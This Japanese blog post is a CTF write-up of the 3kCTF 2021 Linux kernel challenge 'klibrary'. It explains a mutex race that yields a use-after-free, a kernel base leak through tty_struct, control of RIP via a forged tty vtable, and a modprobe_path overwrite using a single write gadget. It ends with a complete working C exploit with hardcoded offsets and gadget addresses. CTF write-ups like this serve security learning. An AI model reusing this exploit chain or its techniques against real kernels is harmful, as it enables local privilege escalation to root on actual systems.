イントロ
このエントリはTSG Advent Calendar 2019 の 24 日目の記事です。実に 700 日ほど遅れての投稿になります。 前回はfiordさんによる「この世界で最も愛しい生物とそれに関する技術について - アルゴリズマーの備忘録 」でした。次回はJP3BGYさんによる「GCC で返答保留になった話 | J’s Lab 」でした。
すごくお腹が空いたので、いつぞや開催された3kCTF 2021の kernel 問題であるklibraryを解いていこうと思います。なんか最近サンタさん来ないんですが、悪い子なのかも知れないです。
static
リシテア曰く。
lysithea.sh 1===============================
2Drothea v1.0.0
3[.] kernel version:
4Linux version 5.9.10 (maher@maher) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for U1
5[+] CONFIG_KALLSYMS_ALL is disabled.
6cat: can't open '/proc/sys/kernel/unprivileged_bpf_disabled': No such file or directory
7[!] unprivileged userfaultfd is enabled.
8Ingrid v1.0.0
9[.] userfaultfd is not disabled.
10[-] CONFIG_DEVMEM is disabled.
11===============================
割と手堅いけど、uffd ができる。あとなんかvmlinux
を strip せずにそのままくれてた、クリスマスプレゼントかも知れない。どうでもいいけどCONFIG_KALLSYMS_ALL
が無効になってる、めずらし。SMEP/SMAP/KPTI/KASLR は全部有効。
module overview
chr デバイス。Book
構造体の double-linked list を保持。典型的なノート問題。
1struct Book {
2 char book_description[BOOK_DESCRIPTION_SIZE];
3 unsigned long index;
4 struct Book* next;
5 struct Book* prev;
6} *root;
mutex を使っている。だが、わざわざ 2 つ(ioctl_lock
, remove_all_lock
)用意しているせいで、ロックを正常に取れていない(eg: REMOVE_ALL + REMOVE
等)。
1static DEFINE_MUTEX(ioctl_lock);
2static DEFINE_MUTEX(remove_all_lock);
3
4 if (cmd == CMD_REMOVE_ALL) {
5 mutex_lock(&remove_all_lock);
6 remove_all();
7 mutex_unlock(&remove_all_lock);
8 } else {
9 mutex_lock(&ioctl_lock);
10
11 switch (cmd) {
12 case CMD_ADD:
13 add_book(request.index);
14 break;
15 case CMD_REMOVE:
16 remove_book(request.index);
17 break;
18 case CMD_ADD_DESC:
19 add_description_to_book(request);
20 break;
21 case CMD_GET_DESC:
22 get_book_description(request);
23 break;
24 }
THE・ノート問題のため、モジュールの詳細は省略。ソースコードを見てください。
vuln
上に貼ったコードの通り、REMOVE_ALL
とその他のコマンドで異なる mutex を使っているため、この 2 種の操作でレースが生じる。remove_all()
は双方向リストを根っこから辿って順々にkfree()
していく。add_description_to_book()/get_book_description()
では、リストからユーザ指定のindex
を持つBook
を探し出し、copy_from_user()/copy_to_user()
でBook
構造体にデータを直接出し入れする。
よって、(add|get)_description()
で処理を止めている間にremove_all()
で該当ノートを消してしまえば kUAF になる。最初にリシテアが言っていたように unprivileged uffd が許可されているため、レースも簡単。
leak kbase via tty_struct
さて、struct Book
はdescription
を直接埋め込んでいるためkmalloc-1024
に入る大きさである。この大きさと言えばstruct tty_struct
。leak した後に適当にテキストっぽいものを選べば kbase leak 完了! あとtty_struct
は kbase の他にもヒープのアドレス、とりわけ自分自身を指すアドレスを持っているため、これも忘れずに leak しておく。
get RIP via vtable in tty_struct
さてさて、今度は RIP を取る必要がある。や、まぁ RIP 取らなくても年は越せるんですが。
原理は leak と同じで、copy_to_user()
でフォルトを起こして止めている間に、remove_all
でそいつをkfree()
しちゃう。その直後にtty_struct
を確保することで、tty_struct
に任意の値を書き込むことが出来る。
書き込む位置は指定できず、必ずtty_struct
の先頭から 0x300byte 書き込むことになる。このとき、先頭のマジックナンバー(0x5401
)が壊れているとtty_ioctl()@drives/tty/tty_io.c
内のtty_paranoia_check()
で処理が終わってしまうため、これだけはちゃんと上書きしておく。
tty_struct + 0x200
あたりにフェイクの vtable として実行したいコードのアドレスを入れておく。あとはops
を書き換えるために、(オフセットとか考えるのめんどいから)全部tty_struct + 0x200
のアドレスで上書きする。ここで必要なtty_struct
自身のアドレスは、先程の leak の段階で入手できている。これで RIP も取れました。
overwriting modprobe_path just by repeating single gadget
さてさてさて、このあとの方針は色々とありそう。以前解いたnutty
ではtty_struct
の中で kROP をしてcommit(pkc(0))
していた。けど、これはまぁ色々と面倒くさいし、この問題と少し状況が異なっていて stack pivot が簡単に出来なかったため却下。
上のスタックトレースは、ioctl(ptmxfd, 0xdeadbeef, 0xcafebabe)
の結果なのだが、RDX
/RSI
が制御できていることが分かる。よって、mov Q[rdx], rsi
とかmov Q[rsi], rdx
みたいなガジェットを使うことで、任意アドレスの 8byte を書き換えられる。tty_struct
は意外と頑丈らしく、全部破壊的に書き換えたとしても正常に終了してくれるっぽいので、このガジェットを何回でも呼び出すことが出来る。よって、これでmodprobe_path
を書き換えれば終わり。
10xffffffff8113e9b0: mov qword [rdx], rsi ; ret ; (2 found)
20xffffffff81018c30: mov qword [rsi], rdx ; ret ; (4 found)
やっぱりこの方法めっちゃ楽。
exploit
exploit.c 1#include "./exploit.h"
2#include <fcntl.h>
3#include <sched.h>
4
5/*********** commands ******************/
6#define DEV_PATH "/dev/library" // the path the device is placed
7#define CMD_ADD 0x3000
8#define CMD_REMOVE 0x3001
9#define CMD_REMOVE_ALL 0x3002
10#define CMD_ADD_DESC 0x3003
11#define CMD_GET_DESC 0x3004
12
13#define BOOK_DESCRIPTION_SIZE 0x300
14
15/********** types *********************/
16typedef struct {
17 unsigned long index;
18 char* userland_pointer;
19} Request;
20
21#define GET_DESC_REGION 0x40000
22#define ADD_DESC_REGION 0x50000
23
24/*********** globals ****************/
25
26char bigbuf[PAGE] = {0};
27int fd, ttyfd;
28ulong kbase = 0, tty_addr = 0;
29scu mov_addr_rdx_rsi = 0x13e9b0;
30
31// (END globals)
32
33/********** utils ******************/
34
35void add_book(int fd, ulong index) {
36 Request req = {.index = index,};
37 assert(ioctl(fd, CMD_ADD, &req) == 0);
38}
39
40void remove_all(int fd) {
41 assert(ioctl(fd, CMD_REMOVE_ALL, remove_all) == 0);
42}
43
44// (END utils)
45
46static void handler(ulong addr) {
47 puts("[+] removing all books.");
48 remove_all(fd);
49 puts("[+] allocating tty_struct...");
50 assert((ttyfd = open("/dev//ptmx", O_RDWR | O_NOCTTY)) > 3);
51}
52
53int main(int argc, char *argv[]) {
54 system("echo -ne \"\\xff\\xff\\xff\\xff\" > /tmp/nirugiri");
55 system("echo -ne \"#!/bin/sh\nchmod 777 /flag.txt && cat /flag.txt\" > /tmp/a");
56 system("chmod +x /tmp/nirugiri");
57 system("chmod +x /tmp/a");
58 assert((fd = open(DEV_PATH, O_RDWR)) > 2);
59
60 // spray
61 for (int ix = 0; ix != 0x10; ++ix)
62 assert(open("/dev/ptmx", O_RDWR | O_NOCTTY) > 3);
63
64 // prepare
65 add_book(fd, 0); add_book(fd, 1);
66
67 // set uffd region
68 struct skb_uffder *uffder = new_skb_uffder(GET_DESC_REGION, 1, bigbuf, handler, "getdesc");
69 skb_uffd_start(uffder, NULL);
70 sleep(1);
71
72 // invoke uffd fault and remove all books while halting
73 Request req = {.index = 1, .userland_pointer = (char*)GET_DESC_REGION};
74 assert(ioctl(fd, CMD_GET_DESC, &req) == 0);
75
76 assert((kbase = ((ulong*)GET_DESC_REGION)[0x210 / 8] - 0x14fc00) != 0);
77 assert((tty_addr = ((ulong*)GET_DESC_REGION)[0x1c8 / 8] + 0x800) != 0);
78 ulong modprobe_path = kbase + 0x837d00;
79 ulong rop_start = kbase + mov_addr_rdx_rsi;
80 printf("[!] kbase: 0x%lx\n", kbase);
81 printf("[!] tty_struct : 0x%lx\n", tty_addr); // tty_addr is the Book[0]
82
83 /****************************************************/
84
85 // prepare
86 add_book(fd, 0);
87
88 // set uffd region
89 struct skb_uffder *uffder2 = new_skb_uffder(ADD_DESC_REGION, 1, bigbuf, handler, "adddesc");
90 skb_uffd_start(uffder2, NULL);
91 *(unsigned*)bigbuf = 0x5401; // magic for paranoia check in tty_ioctl()
92
93 // prepare fake vtable at the bottom of tty_struct
94 for (int ix = 1; ix != BOOK_DESCRIPTION_SIZE / 8; ++ix) {
95 ((unsigned long*)bigbuf)[ix] = tty_addr + 0x200;
96 }
97 for (int ix = BOOK_DESCRIPTION_SIZE / 8 / 3 * 2; ix != BOOK_DESCRIPTION_SIZE / 8; ++ix) {
98 ((unsigned long*)bigbuf)[ix] = rop_start;
99 }
100
101 // invoke fault
102 Request req2 = {.index = 0, .userland_pointer = (char*)ADD_DESC_REGION};
103 assert(ioctl(fd, CMD_ADD_DESC, &req2) == 0);
104
105 puts("[+] calling tty ioctl...");
106 char *uo = "/tmp/a\x00";
107 ioctl(ttyfd, ((unsigned *)uo)[0], modprobe_path);
108 ioctl(ttyfd, ((unsigned *)uo)[1], modprobe_path + 4);
109
110 puts("[+] executing evil script...");
111 system("/tmp/nirugiri");
112 system("cat /flag.txt");
113
114 // end of life
115 puts("[ ] END of life...");
116 exit(0);
117}
アウトロ
風花雪月は 4 周目黄色ルートが終わりました。流石に飽きてきた可能性があり、5 周目を始めるかどうか迷っています。
今年のアドベントカレンダーでは、「実家までこっそりと帰省して、バレないようにピンポンダッシュして東京に戻る」か「世界一きれいに手書きの『ぬ』を書きたい」のどちらかをテーマに書こうと思っています。また 700 日後にお会いしましょう。